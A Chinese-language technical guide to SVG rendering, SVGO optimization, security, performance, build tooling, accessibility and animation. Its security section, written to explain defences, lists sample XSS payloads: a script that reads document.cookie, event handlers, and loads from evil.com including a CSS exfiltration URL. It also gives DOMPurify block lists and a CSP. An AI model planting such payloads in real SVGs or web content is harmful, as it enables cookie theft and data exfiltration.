SVG 渲染模型
SVG 不只是"画形状的 XML"。理解渲染模型是有意义优化的前提。
坐标系栈
每个 SVG 元素建立一个坐标系。viewBox 属性定义从用户空间到视口空间的映射:
<svg width="200" height="100" viewBox="0 0 400 200">
<!-- 绘图命令使用 400×200 坐标空间 -->
<!-- 渲染到 200×100 像素视口 -->
<!-- 缩放因子:双方向 0.5x -->
</svg>
公式:scale = min(viewport_width / viewBox_width, viewport_height / viewBox_height)(对于 meet)。
preserveAspectRatio 解码
属性格式为 <对齐> <meetOrSlice>:
| 值 | 行为 |
|---|---|
xMidYMid meet |
居中内容,缩放以适合(信箱模式)。默认值 |
xMidYMid slice |
居中内容,缩放以填充(裁剪) |
none |
拉伸以填充视口(扭曲宽高比) |
xMinYMin meet |
左上对齐,缩放以适合 |
none 是唯一允许非均匀缩放的值——用于应该拉伸的流式背景。
绘制顺序
SVG 按文档顺序渲染元素(从后到前)。没有 z-index。后面的元素绘制在前面的元素上方:
<svg>
<!-- 先渲染(在后面)-->
<rect x="10" y="10" width="80" height="80" fill="blue"/>
<!-- 后渲染(在上面)-->
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
这对优化很重要:移动完全被遮挡的复杂元素并不能节省渲染时间——GPU 仍然会处理它们。
SVGO:插件架构与配置
SVGO(SVG Optimizer)是行业标准优化工具。理解其插件架构能实现对优化内容的精确控制。
插件类型
SVGO 3.x 插件操作 SVG 文档的 AST(抽象语法树):
// svgo.config.js
module.exports = {
plugins: [
'preset-default', // 内置默认值
'removeDimensions', // 移除 width/height,保留 viewBox
{
name: 'removeAttrs', // 带参数的插件
params: { attrs: '(data-.*)' }
},
{
name: 'addAttributesToSVGElement',
params: { attributes: [{ 'aria-hidden': 'true' }] }
}
]
};
preset-default 套件
preset-default 启用这些插件(部分列举):
| 插件 | 效果 | 可以安全禁用? |
|---|---|---|
removeDoctype |
移除 <!DOCTYPE> |
始终安全 |
removeXMLProcInst |
移除 <?xml?> |
内联 SVG 安全 |
removeComments |
移除 <!-- --> |
通常安全 |
removeMetadata |
移除 <metadata> |
通常安全 |
removeEditorsNSData |
移除编辑器命名空间 | 始终安全 |
cleanupAttrs |
规范化属性中的空白 | 始终安全 |
mergeStyles |
合并多个 <style> 元素 |
通常安全 |
inlineStyles |
CSS 移入表现属性 | 会破坏外部样式 |
convertPathData |
简化路径命令 | 安全(精度可配置) |
convertTransform |
折叠变换链 | 安全 |
collapseGroups |
扁平化不必要的 <g> 元素 |
可能破坏动画 |
编写自定义插件
// custom-plugin.js
const myPlugin = {
name: 'removeTestIds',
fn: () => ({
element: {
enter: (node) => {
if (node.attributes['data-testid']) {
delete node.attributes['data-testid'];
}
}
}
})
};
// svgo.config.js
module.exports = {
plugins: ['preset-default', myPlugin]
};
精度 vs 文件大小权衡
{
name: 'convertPathData',
params: {
floatPrecision: 1, // 激进:复杂曲线可能出现可见伪影
floatPrecision: 2, // 平衡:大多数图标安全
floatPrecision: 3 // 保守:保持精度(文件较大)
}
}
经验法则:24×24px 图标 → 精度 1 够用。1000×1000px 插图 → 需要精度 2-3。
SVG 安全:XSS 与净化
SVG 是攻击向量。因为 SVG 是可以包含 JavaScript 的 XML,加载不可信 SVG 等同于加载不可信 HTML。
攻击向量
1. 通过 <script> 执行脚本:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>
2. 事件处理器:
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100" onload="alert('XSS')"/>
</svg>
3. 外部资源加载:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://evil.com/track.gif"/>
<use href="https://evil.com/payload.svg#exploit"/>
</svg>
4. CSS 注入:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url('https://evil.com/exfiltrate?data=...');
</style>
</svg>
防御策略
| 上下文 | 风险等级 | 缓解措施 |
|---|---|---|
<img src="file.svg"> |
低 — 脚本不执行 | 不可信 SVG 安全 |
HTML 中内联 <svg> |
高 — 完全 DOM 访问 | 必须净化 |
background-image: url(file.svg) |
低 — 脚本不执行 | 安全 |
<object> / <iframe> |
中 — 沙盒执行 | 使用 sandbox 属性 |
用户上传 SVG 以 image/svg+xml 服务 |
高 — 直接导航会执行脚本 | 必须净化或使用 CSP |
净化库
import DOMPurify from 'dompurify';
const cleanSVG = DOMPurify.sanitize(untrustedSVG, {
USE_PROFILES: { svg: true, svgFilters: true },
ADD_TAGS: ['use'],
FORBID_TAGS: ['script', 'foreignObject'],
FORBID_ATTR: ['onload', 'onclick', 'onerror', 'xlink:href']
});
SVG 的 Content-Security-Policy
Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self'
服务用户上传的 SVG 时,设置 script-src 'none' 以防止即使净化失败也能阻止脚本执行。
性能陷阱
1. Filter 元素代价高昂
SVG 滤镜(<filter>)操作像素缓冲区,而非矢量几何。它们触发光栅化:
<!-- 看起来无害的模糊迫使整个子树光栅化 -->
<g filter="url(#blur)">
<path d="...巨大路径数据..."/>
</g>
<filter id="blur">
<feGaussianBlur stdDeviation="3"/>
</filter>
每个滤镜原语(feGaussianBlur、feDropShadow、feColorMatrix)分配与滤镜区域同样大小的像素缓冲区。链式滤镜使内存使用倍增。
缓解:可能时使用 CSS filter: blur() 替代 SVG 滤镜——CSS 滤镜在大多数浏览器上是 GPU 加速的。
2. Clip-Path 复杂度
复杂 clip-path 强制逐像素交叉测试:
<!-- 昂贵:500 点多边形作为裁剪路径 -->
<clipPath id="complex">
<path d="M... (500 points)"/>
</clipPath>
<!-- 廉价:简单矩形裁剪 -->
<clipPath id="simple">
<rect x="0" y="0" width="100" height="100"/>
</clipPath>
3. 大路径数据
包含数千点的单个 <path> 比等效的更简单路径解析和渲染都更昂贵:
| 路径复杂度 | 解析时间 | 渲染时间 | 文件大小 |
|---|---|---|---|
| 50 点 | ~0.1ms | ~0.1ms | ~200B |
| 500 点 | ~1ms | ~0.5ms | ~2KB |
| 5,000 点 | ~10ms | ~5ms | ~20KB |
| 50,000 点 | ~100ms | ~50ms | ~200KB |
缓解:导出时简化路径(减少点数),或拆分为更小的路径以实现渐进渲染。
4. 嵌入光栅图像违背目的
<!-- 这个"SVG"实际上是一个 2MB PNG 加上周围的矢量装饰 -->
<svg>
<image href="data:image/png;base64,..." width="1000" height="1000"/>
<text x="50" y="50">标签</text>
</svg>
这比独立 PNG 更差:文件更大(Base64 编码增加 33%)、无 SVG 缓存优势,且浏览器必须同时解码 SVG 和光栅。
构建管线集成
Vite(vite-plugin-svgr)
// vite.config.js
import svgr from 'vite-plugin-svgr';
export default {
plugins: [svgr({
svgrOptions: {
plugins: ['@svgr/plugin-svgo', '@svgr/plugin-jsx'],
svgoConfig: {
plugins: ['preset-default', 'removeDimensions']
}
}
})]
};
// React 中使用
import Logo from './logo.svg?react'; // 作为 React 组件导入
import logoUrl from './logo.svg'; // 作为 URL 字符串导入
function App() {
return <Logo className="logo" aria-label="公司标志" />;
}
Webpack(@svgr/webpack)
// webpack.config.js
module.exports = {
module: {
rules: [{
test: /\.svg$/i,
issuer: /\.[jt]sx?$/,
use: [{
loader: '@svgr/webpack',
options: {
svgo: true,
svgoConfig: { plugins: ['preset-default'] }
}
}]
}]
}
};
Next.js
// next.config.js
module.exports = {
webpack(config) {
config.module.rules.push({
test: /\.svg$/,
use: ['@svgr/webpack']
});
return config;
}
};
超越 aria-label 的无障碍
决策树
SVG 是装饰性的(不传达信息)?
├── 是 → <svg aria-hidden="true" focusable="false">
└── 否 → 它是独立的还是有相邻文本?
├── 独立 → <svg role="img" aria-labelledby="title">
│ <title id="title">描述</title>
└── 有文本 → <svg aria-hidden="true">(文本承载含义)
交互式 SVG 无障碍
<svg role="img" aria-labelledby="chart-title chart-desc">
<title id="chart-title">月度营收</title>
<desc id="chart-desc">展示 2025 年 1 月到 12 月营收的柱状图</desc>
<!-- 每个交互元素需要焦点处理 -->
<g role="listitem" tabindex="0" aria-label="一月:¥45,000">
<rect x="10" y="20" width="30" height="80"/>
</g>
</svg>
IE/Edge Legacy 中的 focusable="false"
IE 和旧版 Edge 默认使 SVG 元素可聚焦。始终在装饰性 SVG 上添加 focusable="false" 以保持跨浏览器一致性。
动画方案
| 方案 | 性能 | 浏览器支持 | 使用场景 |
|---|---|---|---|
CSS @keyframes |
GPU 加速(transform、opacity) | 通用 | 简单过渡 |
CSS transition |
GPU 加速 | 通用 | 状态变化 |
SMIL <animate> |
主线程 | 全部现代(Chrome 2019 年恢复支持) | 声明式路径动画 |
| Web Animations API | GPU 加速 | 现代浏览器 | 编程控制 |
| GreenSock (GSAP) | 优化的 JS | 通用(库) | 复杂序列动画 |
CSS 动画(简单场景首选)
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.spinner {
animation: spin 1s linear infinite;
transform-origin: center;
}
SMIL 路径动画
<path d="M10 80 Q 95 10 180 80">
<animate
attributeName="d"
dur="2s"
values="M10 80 Q 95 10 180 80; M10 80 Q 95 150 180 80; M10 80 Q 95 10 180 80"
repeatCount="indefinite"
/>
</path>
SMIL 能动画化路径 d 属性——CSS 做不到。用 SMIL 实现形状变形。
优化清单
- 运行 SVGO 并为使用场景设置适当精度
- 移除编辑器元数据(
<metadata>、Illustrator/Figma 命名空间) - 简化路径(降低小数精度、合并变换)
- 使用
<symbol>+<use>处理重复图标(SVG 雪碧图) - 启用 gzip/brotli 服务器端(SVG 压缩 60-80%)
- 避免大元素上使用滤镜(改用 CSS
filter或box-shadow) - 移除嵌入的光栅图像(SVG 中的 base64 图片)
- 对装饰性 SVG 设置
aria-hidden="true" - 净化用户上传的 SVG(DOMPurify 或服务端等效方案)
- 使用适当 CSP 服务(用户内容设置
script-src 'none')